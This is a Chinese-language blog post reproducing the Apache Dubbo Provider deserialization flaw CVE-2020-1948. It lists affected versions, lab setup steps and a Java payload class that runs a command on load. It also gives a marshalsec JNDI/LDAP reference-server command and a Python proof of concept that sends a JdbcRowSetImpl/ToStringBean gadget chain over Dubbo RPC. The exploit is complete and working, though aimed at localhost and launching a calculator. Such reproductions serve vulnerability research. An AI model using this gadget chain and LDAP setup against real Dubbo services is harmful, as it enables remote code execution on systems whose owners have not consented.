Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)


Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

Apache Dubbo Provider 存在反序列化漏洞,攻击者可以通过 RPC 请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再维护)

环境搭建

复现环境:

  • MAC
  • Dubbo 2.5.9
  • JDK 8U20

环境下载地址:
https://gist.github.com/OneSourceCat/01277dceba635eefbc010af36d3704d7

  1. 将下载的环境导入到 IDEA 中:

  2. mac 下安装 zookeeper

    brew install zookeeper
    brew services start zookeeper
  3. 修改 Provider.java 文件,指定 Spring 加载配置文件的方式:
    ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/DubboModules/src/resources/provider.xml") ;

  4. 修改 Consumer.java 文件,指定 Spring 加载配置文件的方式:
    ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/dubboconsumer/resources/consumer.xml") ;

  5. 运行 Provider.java

  6. 编译 ExportObject.java

    public class ExportObject {
     public ExportObject() throws Exception {
         try {
             java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
         } catch (java.io.IOException e) {
             e.printStackTrace();
         }
     }
    
     public static void main(String[] args) throws Exception {
         ExportObject e = new ExportObject();
     }
    }
javac ExportObject.java

注意:此处要用相同版本或低版本的 JDK 进行编译,否则反序列化失败。

  1. 启动 LDAP 服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#ExportObject" 8087

  2. 启动 HTTP 服务:

    python3 -m http.server

  3. 运行 consumer.java,反序列化:

    发现可以成功弹出计算器。

使用 poc 进行测试:
使用前先 pip install dubbo

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20881)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 本篇
Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)Apache Dubbo Provider 存在反序列化漏洞,攻击者可以通过 RPC 请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参
下一篇 
Shiro 权限绕过漏洞复现(CVE-2020-11989) Shiro 权限绕过漏洞复现(CVE-2020-11989)
Shiro 权限绕过漏洞复现(CVE-2020-11989)影响范围 Apache Shiro < 1.5.3 Spring 框架中只使用 Shiro 鉴权 环境搭建git clone https://github.com/l3yx
2020-07-01
  目录